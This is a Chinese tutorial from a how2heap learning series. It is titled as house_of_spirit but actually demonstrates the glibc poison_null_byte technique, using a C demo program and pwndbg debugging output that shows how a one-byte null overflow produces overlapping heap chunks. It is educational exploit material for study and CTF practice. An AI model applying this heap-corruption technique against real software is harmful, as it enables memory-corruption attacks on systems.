从零开始学howtoheap:fastbins的house_of_spirit攻击2

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击


house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.poison_null_byte演示程序

该技术适用的场景需要某个malloc的内存区域存在一个单字节溢出漏洞。通过溢出下一个chunk的size字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>int main()
{fprintf(stderr, "当存在 off by null 的时候可以使用该技术\n");uint8_t* a;uint8_t* b;uint8_t* c;uint8_t* b1;uint8_t* b2;uint8_t* d;void *barrier;fprintf(stderr, "申请 0x100 的 chunk a\n");a = (uint8_t*) malloc(0x100);fprintf(stderr, "a 在: %p\n", a);int real_a_size = malloc_usable_size(a);fprintf(stderr, "因为我们想要溢出 chunk a,所以需要知道他的实际大小: %#x\n", real_a_size);b = (uint8_t*) malloc(0x200);fprintf(stderr, "b: %p\n", b);c = (uint8_t*) malloc(0x100);fprintf(stderr, "c: %p\n", c);barrier =  malloc(0x100);fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);uint64_t* b_size_ptr = (uint64_t*)(b - 8);fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");*(size_t*)(b+0x1f0) = 0x200;free(b);fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));b1 = malloc(0x100);fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");b2 = malloc(0x80);fprintf(stderr, "b2 申请在: %p\n",b2);memset(b2,'B',0x80);fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");free(b1);free(c);fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");d = malloc(0x300);fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);memset(d,'D',0x300);fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);
}

3.调试poison_null_byte

3.1 获得可执行程序 

gcc -g poison_null_byte.c -o poison_null_byte

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gcc -g poison_null_byte.c -o poison_null_byte
root@pwn_test1604:/ctf/work/how2heap# gdb ./poison_null_byte
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./poison_null_byte...done.
pwndbg> r
Starting program: /ctf/work/how2heap/poison_null_byte 
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x603010
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x603120
c: 0x603330
另外再申请了一个 chunk c:0x603440,防止 free 的时候与 top chunk 发生合并的情况
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上
b 现在的 size: 0x200
c 的 prev_size 是 0x210
但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
申请一个 0x100 大小的 b1: 0x603120
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x603230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x603120,我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
[Inferior 1 (process 82) exited normally]
pwndbg> 

 

3.3 第二次调试程序

3.3.1 ​设置断点第32行并走起

首先申请了4个chunk,分别是a、b、c和一个防止与top chunk合并的chunk。

pwndbg> b 32
Breakpoint 2 at 0x4007f1: file poison_null_byte.c, line 32.
pwndbg> c
Continuing.
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x603010
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x603120
c: 0x603330
另外再申请了一个 chunk c:0x603440,防止 free 的时候与 top chunk 发生合并的情况Breakpoint 2, main () at poison_null_byte.c:33
33          uint64_t* b_size_ptr = (uint64_t*)(b - 8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x67RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbee0 ◂— 0x86e596a4e5a68fe5R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x67R10  0x75686320706f7420 (' top chu')R11  0x246R12  0x4005e0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe570 ◂— 0x108f7ffe168RIP  0x4007f1 (main+283) ◂— mov    rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4007f1 <main+283>    mov    rax, qword ptr [rbp - 0x40]0x4007f5 <main+287>    sub    rax, 80x4007f9 <main+291>    mov    qword ptr [rbp - 0x28], rax0x4007fd <main+295>    mov    rax, qword ptr [rip + 0x20185c] <0x602060>0x400804 <main+302>    mov    rcx, rax0x400807 <main+305>    mov    edx, 0x700x40080c <main+310>    mov    esi, 10x400811 <main+315>    mov    edi, 0x400c700x400816 <main+320>    call   fwrite@plt <0x4005c0>0x40081b <main+325>    mov    rax, qword ptr [rbp - 0x40]0x40081f <main+329>    add    rax, 0x1f0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c28     fprintf(stderr, "c: %p\n", c);29 30     barrier =  malloc(0x100);31     fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);32 ► 33     uint64_t* b_size_ptr = (uint64_t*)(b - 8);34     fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");35     *(size_t*)(b+0x1f0) = 0x200;36 37     free(b);38     
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 ◂— 0x0
06:0030│      0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor    ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4007f1 main+283f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:32
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x210                Used                None              None
0x603320            0x0                 0x110                Used                None              None
0x603430            0x0                 0x110                Used                None              None

 3.3.2 设置断点第36行并走起

接下来为了绕过size和next chunk的prev_size的检查,我们在chunk b的末尾伪造了一个0x200大小的prev_size

pwndbg> n
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
35          *(size_t*)(b+0x1f0) = 0x200;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x70RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x400c00 ◂— and    eax, 0xa70 /* '%p\n' */R8   0x70R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005e0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe570 ◂— 0x108f7ffe168RIP  0x40081b (main+325) ◂— mov    rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400804 <main+302>    mov    rcx, rax0x400807 <main+305>    mov    edx, 0x700x40080c <main+310>    mov    esi, 10x400811 <main+315>    mov    edi, 0x400c700x400816 <main+320>    call   fwrite@plt <0x4005c0>► 0x40081b <main+325>    mov    rax, qword ptr [rbp - 0x40]0x40081f <main+329>    add    rax, 0x1f00x400825 <main+335>    mov    qword ptr [rax], 0x2000x40082c <main+342>    mov    rax, qword ptr [rbp - 0x40]0x400830 <main+346>    mov    rdi, rax0x400833 <main+349>    call   free@plt <0x400560>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c30     barrier =  malloc(0x100);31     fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);32 33     uint64_t* b_size_ptr = (uint64_t*)(b - 8);34     fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");► 35     *(size_t*)(b+0x1f0) = 0x200;36 37     free(b);38     39     fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);40     fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x211
06:0030│      0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor    ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           40081b main+325f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> n
37          free(b);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603310 ◂— 0x200RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x400c00 ◂— and    eax, 0xa70 /* '%p\n' */R8   0x70R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005e0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe570 ◂— 0x108f7ffe168RIP  0x40082c (main+342) ◂— mov    rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400811 <main+315>    mov    edi, 0x400c700x400816 <main+320>    call   fwrite@plt <0x4005c0>0x40081b <main+325>    mov    rax, qword ptr [rbp - 0x40]0x40081f <main+329>    add    rax, 0x1f00x400825 <main+335>    mov    qword ptr [rax], 0x200► 0x40082c <main+342>    mov    rax, qword ptr [rbp - 0x40]0x400830 <main+346>    mov    rdi, rax0x400833 <main+349>    call   free@plt <0x400560>0x400838 <main+354>    mov    rax, qword ptr [rbp - 0x28]0x40083c <main+358>    mov    rdx, qword ptr [rax]0x40083f <main+361>    mov    rax, qword ptr [rip + 0x20181a] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c32 33     uint64_t* b_size_ptr = (uint64_t*)(b - 8);34     fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");35     *(size_t*)(b+0x1f0) = 0x200;36 ► 37     free(b);38     39     fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);40     fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");41     a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"42     fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x211
06:0030│      0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor    ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           40082c main+342f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x210                Used                None              None
0x603320            0x0                 0x110                Used                None              None
0x603430            0x0                 0x110                Used                None              None
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x210                Used                None              None
0x603320            0x0                 0x110                Used                None              None
0x603430            0x0                 0x110                Used                None              None
pwndbg> heap
heapbase : 0x603000
pwndbg> x/10gx 0x603320-0x10                                                                                                                                                                                       
0x603310:       0x0000000000000200      0x0000000000000000
0x603320:       0x0000000000000000      0x0000000000000111
0x603330:       0x0000000000000000      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000211
0x603120:       0x0000000000000000      0x0000000000000000
0x603130:       0x0000000000000000      0x0000000000000000
0x603140:       0x0000000000000000      0x0000000000000000
0x603150:       0x0000000000000000      0x0000000000000000

pwndbg> heap
heapbase : 0x603000
pwndbg> x/10gx 0x603320-0x10                                                                                                                                                                                       
0x603310:       0x0000000000000200      0x0000000000000000
0x603320:       0x0000000000000000      0x0000000000000111
0x603330:       0x0000000000000000      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000211
0x603120:       0x0000000000000000      0x0000000000000000
0x603130:       0x0000000000000000      0x0000000000000000
0x603140:       0x0000000000000000      0x0000000000000000
0x603150:       0x0000000000000000      0x0000000000000000

其中0x603310:       0x0000000000000200 是伪造的pre_size

0x603110:             0x0000000000000211 原本b的size


 

3.3.3 设置断点第42行并走起

然后把b给free掉,通过编辑chunk a来更改b的size的最后一位为0x00。

pwndbg> b 42
Breakpoint 3 at 0x400886: file poison_null_byte.c, line 42.
pwndbg> c
Continuing.
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上Breakpoint 3, main () at poison_null_byte.c:42
42          fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603118 ◂— 0x200RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x108RDI  0x2RSI  0x400c00 ◂— and    eax, 0xa70 /* '%p\n' */R8   0x52R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005e0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe570 ◂— 0x108f7ffe168RIP  0x400886 (main+432) ◂— mov    rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400886 <main+432>    mov    rax, qword ptr [rbp - 0x28]0x40088a <main+436>    mov    rdx, qword ptr [rax]0x40088d <main+439>    mov    rax, qword ptr [rip + 0x2017cc] <0x602060>0x400894 <main+446>    mov    esi, 0x400d4b0x400899 <main+451>    mov    rdi, rax0x40089c <main+454>    mov    eax, 00x4008a1 <main+459>    call   fprintf@plt <0x4005a0>0x4008a6 <main+464>    mov    rax, qword ptr [rbp - 0x38]0x4008aa <main+468>    sub    rax, 0x100x4008ae <main+472>    mov    qword ptr [rbp - 0x20], rax0x4008b2 <main+476>    mov    rax, qword ptr [rbp - 0x20]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c37     free(b);38     39     fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);40     fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");41     a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"► 42     fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);43 44     uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;45     fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);46 47     fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));                                                                                                                                                                                           
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603540 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x200
06:0030│      0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor    ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400886 main+432f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:42
pwndbg> x/10gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000200
0x603120:       0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x603130:       0x0000000000000000      0x0000000000000000
0x603140:       0x0000000000000000      0x0000000000000000
0x603150:       0x0000000000000000      0x0000000000000000
pwndbg> 

pwndbg> x/10gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000200
0x603120:       0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x603130:       0x0000000000000000      0x0000000000000000
0x603140:       0x0000000000000000      0x0000000000000000
0x603150:       0x0000000000000000      0x0000000000000000
pwndbg>

其中 0x603110:            0x0000000000000200 修改后b的size

3.3.4 设置断点第50行并走起

​ 这时候c那里的prev_size还是之前的,因为更改了b的size,所以找的时候会找b + 0x200的,而真正的prev_size位在0x210处,也正是这样让我们绕过了chunksize(P) = prev_size(next_chunk(P))的检测。

接下来申请一个0x100大小的chunk,因为b已经被free了,所以glibc会将b进行切割,分出一块0x100大小的堆块给b1,剩下0xf0。

pwndbg> n
50          fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) ◂— ...RBX  0x0RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX  0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) ◂— ...RDI  0xf0RSI  0x1R8   0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) —▸ 0x7ffff7dd1d28 (main_arena+520) ◂— ...R9   0xaaR10  0x0R11  0x246R12  0x4005e0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe570 ◂— 0x108f7ffe168RIP  0x40091d (main+583) ◂— mov    rax, qword ptr [rip + 0x20173c]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x40090f <main+569>    mov    edi, 0x1000x400914 <main+574>    call   malloc@plt <0x4005b0>0x400919 <main+579>    mov    qword ptr [rbp - 0x18], rax► 0x40091d <main+583>    mov    rax, qword ptr [rip + 0x20173c] <0x602060>0x400924 <main+590>    mov    rdx, qword ptr [rbp - 0x18]0x400928 <main+594>    mov    esi, 0x400e300x40092d <main+599>    mov    rdi, rax0x400930 <main+602>    mov    eax, 00x400935 <main+607>    call   fprintf@plt <0x4005a0>0x40093a <main+612>    mov    rax, qword ptr [rbp - 0x20]0x40093e <main+616>    mov    rdx, qword ptr [rax]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c45     fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);46 47     fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));                                                                                                                                                                                           48     b1 = malloc(0x100);49 ► 50     fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);51     fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);52     fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));53     fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");54 55     b2 = malloc(0x80);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
